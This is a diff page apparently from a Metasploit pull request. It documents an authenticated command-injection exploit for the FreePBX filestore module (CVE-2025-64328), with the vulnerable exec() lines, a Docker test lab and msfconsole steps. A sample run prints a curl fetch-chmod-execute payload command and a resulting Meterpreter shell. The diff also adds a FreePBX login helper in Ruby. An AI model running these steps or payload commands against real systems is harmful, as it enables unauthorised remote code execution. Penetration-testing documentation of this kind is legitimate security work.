Skip to content
Original file line number Diff line number Diff line change
@@ -0,0 +1,206 @@
## Vulnerable Application

FreePBX is an open-source web-based graphical user interface for managing Asterisk. This module exploits an authenticated command injection
vulnerability (CVE-2025-64328) in the FreePBX filestore module.

The vulnerability exists in the SSH driver's testconnection functionality, specifically in the `check_ssh_connect()` function located at
`/admin/modules/filestore/drivers/SSH/testconnection.php`. The function accepts user-controlled input for the SSH key path parameter, which
is then passed unsanitized to `exec()` calls when generating SSH keys.

By injecting shell command substitution syntax (e.g., `$(command)`) into the key parameter, an authenticated user can execute arbitrary
commands on the underlying system with the privileges of the web server process (typically the asterisk user).

This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in 17.0.2.36, patched in 17.0.3). The module
requires valid FreePBX credentials for a user account that has access to the filestore module. The user must be in the "Filestore" group
(administrator or low-privilege user).

## Vulnerability Analysis

The vulnerability was introduced in filestore module version 17.0.2.36 when the `testconnection.php` file was first added to provide
SSH connection testing functionality (commit: e4ec96ab - "Filestore: Add Connection testing"). The initial implementation contained
multiple `exec()` calls that used user-controlled input without proper sanitization:

1. **Line 9**: `exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");`
- The `$key` parameter is directly interpolated into the command string without sanitization.

2. **Line 12**: `exec("ssh-keygen -y -f $key > $publickey");`
- The `$key` parameter is again used without sanitization, causing the injected command to execute a second time.

Due to this code structure, the injected command is executed multiple times within the `check_ssh_connect()` function, potentially
resulting in multiple Meterpreter sessions being opened.

The fix was implemented in version 17.0.3, which added comprehensive input validation and sanitization functions
(`validate_and_sanitize_key()`, `validate_and_sanitize_host()`, `validate_and_sanitize_user()`, `validate_and_sanitize_path()`) and used
`escapeshellarg()` for all parameters passed to `exec()`.

The following FreePBX version has been tested:

- FreePBX 17 with filestore module 17.0.2.44

## Testing

To set up a test environment using Docker:

1. Create a `docker-compose.yml` file with the following content:
```yaml
services:
mariadb:
image: mariadb:10.11
container_name: freepbx-db
restart: unless-stopped
environment:
MYSQL_ROOT_PASSWORD: changeme-root
MYSQL_DATABASE: asterisk
MYSQL_USER: freepbx
MYSQL_PASSWORD: changeme-db
volumes:
- db-data:/var/lib/mysql
networks:
- freepbx-net

freepbx:
build:
context: .
dockerfile: Dockerfile
container_name: freepbx-app
depends_on:
- mariadb
restart: unless-stopped
ports:
- "18080:80"
- "18443:443"
- "5060:5060/udp"
environment:
MYSQL_ROOT_PASSWORD: changeme-root
MYSQL_DATABASE: asterisk
MYSQL_USER: freepbx
MYSQL_PASSWORD: changeme-db
MYSQL_HOST: mariadb
FILESTORE_VERSION: 17.0.2.44
LOWPRIV_USER: lowpriv
LOWPRIV_PASS: lowpriv123
volumes:
- freepbx-data:/var
- freepbx-log:/var/log
cap_add:
- NET_ADMIN
networks:
- freepbx-net

volumes:
db-data:
freepbx-data:
freepbx-log:

networks:
freepbx-net:
driver: bridge
```

2. Create a `Dockerfile`:
```dockerfile
FROM escomputers/freepbx:17

COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh

RUN mkdir -p /var/www/html/admin/assets/less/cache && chown -R asterisk:asterisk /var/www/html/admin/assets/less/cache && chmod -R 777 /var/www/html/admin/assets/less/cache || true

ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
```

3. Create an `entrypoint.sh` script:
```bash
#!/bin/bash
DB_HOST=${MYSQL_HOST:-mariadb}
DB_USER=${MYSQL_USER:-freepbx}
DB_PASS=${MYSQL_PASSWORD:-changeme-db}
DB_NAME=${MYSQL_DATABASE:-asterisk}
FILESTORE_VERSION=${FILESTORE_VERSION:-17.0.2.44}
LOWPRIV_USER=${LOWPRIV_USER:-lowpriv}
LOWPRIV_PASS=${LOWPRIV_PASS:-lowpriv123}
(
for i in {1..60}; do
mysqladmin ping -h $DB_HOST -u $DB_USER -p$DB_PASS --silent 2>/dev/null && break
sleep 2
done
for i in {1..120}; do
asterisk -rx "core show version" >/dev/null 2>&1 && break
sleep 2
done
[ ! -f /etc/freepbx.conf ] && cd /usr/local/src/freepbx && php install -n --dbuser=$DB_USER --dbpass=$DB_PASS --dbhost=$DB_HOST >/dev/null 2>&1
for i in {1..60}; do
command -v fwconsole >/dev/null 2>&1 && fwconsole ma list >/dev/null 2>&1 && break
sleep 5
done
fwconsole ma list 2>/dev/null | grep -q "filestore.*$FILESTORE_VERSION" || (fwconsole ma downloadinstall filestore --tag=$FILESTORE_VERSION --force >/dev/null 2>&1; fwconsole ma enable filestore >/dev/null 2>&1)
fwconsole ma list 2>/dev/null | grep -q "userman" || (fwconsole ma downloadinstall userman >/dev/null 2>&1; fwconsole ma enable userman >/dev/null 2>&1)
sleep 10
mysql -h $DB_HOST -u $DB_USER -p$DB_PASS $DB_NAME -e "INSERT IGNORE INTO ampusers (username, password_sha1, sections) VALUES ('$LOWPRIV_USER', SHA1('$LOWPRIV_PASS'), 'filestore');" >/dev/null 2>&1
) &
exec /usr/bin/env bash /usr/local/src/entrypoint.sh "$@"
```

Make sure to make the script executable: `chmod +x entrypoint.sh`

4. Run `docker compose up -d` to start the environment.

5. Access the FreePBX web interface at `http://localhost:18080/admin/config.php` and complete the initial setup to create an admin user.

6. Follow the verification steps below.

## Options

### USERNAME

The FreePBX username. This can be a low-privilege user, but the user must be in the "Filestore" group to have access to the filestore
module. Default: `admin`

### PASSWORD

The FreePBX password. This must be set to a valid password.

## Verification Steps

1. Start msfconsole
2. `use exploit/unix/http/freepbx_filestore_cmd_injection`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>` (default: 80)
5. `set USERNAME <USERNAME>`
6. `set PASSWORD <PASSWORD>`
7. `set LHOST <YOUR_IP>`
8. `run`

## Scenarios

### Using a Low-Privilege User

The module works with low-privilege users that are in the "Filestore" group and have access to the filestore module:

```
msf exploit(unix/http/freepbx_filestore_cmd_injection) > run
[*] Command to run on remote host: curl -so ./MscaNzRKZxn http://172.24.0.1:8080/a_wPTF3QFDQmW1loFQm32w;chmod +x ./MscaNzRKZxn;./MscaNzRKZxn&
[*] Fetch handler listening on 172.24.0.1:8080
[*] HTTP server started
[*] Adding resource /a_wPTF3QFDQmW1loFQm32w
[*] Started reverse TCP handler on 172.24.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable filestore version 17.0.2.44 detected
[*] Filestore module version: 17.0.2.44
[*] Client 172.24.0.3 requested /a_wPTF3QFDQmW1loFQm32w
[*] Sending payload to 172.24.0.3 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.24.0.3
[*] Meterpreter session 20 opened (172.24.0.1:4444 -> 172.24.0.3:59384) at 2025-11-23 00:26:55 +0100

meterpreter > sysinfo
Computer : 172.24.0.3
OS : Debian 12.12 (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: asterisk
meterpreter >
```

Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ module HTTP
#
# Shared routines for Xorcom CompletePBX modules
#
module XorcomCompletePbx
module CompletePBX
# Probe root page and return appropriate CheckCode
# @return [Msf::Exploit::CheckCode]
def completepbx?
Expand Down
114 changes: 114 additions & 0 deletions lib/msf/core/exploit/remote/http/freepbx.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
# -*- coding: binary -*-

module Msf
class Exploit
class Remote
module HTTP
#
# Shared routines for FreePBX modules
#
module FreePBX
# Get the admin config URI
#
# @return [String] Admin config URI path
#
def freepbx_admin_uri
normalize_uri(target_uri.path, 'admin', 'config.php')
end

# Get the Referer header for FreePBX requests
#
# @return [String] Referer URL
#
def freepbx_referer
host = datastore['RHOSTS'] || rhost
host = '127.0.0.1' if host == '::1' || host == 'localhost'
protocol = datastore['SSL'] ? 'https' : 'http'
"#{protocol}://#{host}:#{rport}#{freepbx_admin_uri}"
end

# Authenticate with supplied credentials and return the session cookie
#
# @param username [String] FreePBX username
# @param password [String] FreePBX password
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
#
def freepbx_login(username, password, timeout = 20)
cache_key = "#{username}:#{password}"
if @freepbx_auth_cache && @freepbx_auth_cache[cache_key]
return @freepbx_auth_cache[cache_key]
end

data = freepbx_get_login_page_data(timeout)
res = data[:response]
return nil unless res

cookie = res.get_cookies
return nil if cookie.empty?

login_response = send_request_cgi({
'uri' => freepbx_admin_uri,
'method' => 'POST',
'cookie' => cookie,
'headers' => {
'Referer' => freepbx_referer,
'Content-Type' => 'application/x-www-form-urlencoded'
},
'vars_post' => {
'username' => username,
'password' => password
}
}, timeout)

return nil unless login_response

body_lower = login_response.body.downcase
if body_lower.include?('invalid username or password') && body_lower.include?('obe_error')
@freepbx_auth_cache ||= {}
@freepbx_auth_cache[cache_key] = :auth_failed
return :auth_failed
end

return nil unless login_response.code == 302 || (login_response.code == 200 && !login_response.body.include?('Login'))

new_cookie = login_response.get_cookies
result = new_cookie.empty? ? cookie : new_cookie
@freepbx_auth_cache ||= {}
@freepbx_auth_cache[cache_key] = result
result
end

# Get or create the login page data
#
# @param timeout [Integer] Request timeout
# @return [Hash] Hash with :response and :detected keys
#
def freepbx_get_login_page_data(timeout = 20)
return @freepbx_login_page if @freepbx_login_page

res = send_request_cgi({
'uri' => freepbx_admin_uri,
'method' => 'GET',
'headers' => { 'Referer' => freepbx_referer }
}, timeout)

body_lower = res&.body&.downcase || ''
detected = (res&.code == 200) && (
body_lower.match?(%r{<title>freepbx\s+administration</title>}) ||
(body_lower.include?('freepbx administration') && body_lower.include?('loginform')) ||
body_lower.include?('assets/js/freepbx.js') ||
body_lower.include?('freepbx-navbar') ||
(body_lower.match?(/id=["']loginform["']/) && body_lower.include?('freepbx'))
)

@freepbx_login_page = {
response: res,
detected: detected
}
end
end
end
end
end
end
2 changes: 2 additions & 0 deletions lib/msf_autoload.rb
Original file line number Diff line number Diff line change
Expand Up @@ -306,6 +306,8 @@ def custom_inflections
'pfsense' => 'PfSense',
'opnsense' => 'OPNSense',
'pgadmin' => 'PgAdmin',
'freepbx' => 'FreePBX',
'complete_pbx' => 'CompletePBX'
}
end

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
include Msf::Exploit::Remote::HTTP::CompletePBX
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
include Msf::Exploit::Remote::HTTP::CompletePBX
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
include Msf::Exploit::Remote::HTTP::CompletePBX
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
Expand Down
Loading
Loading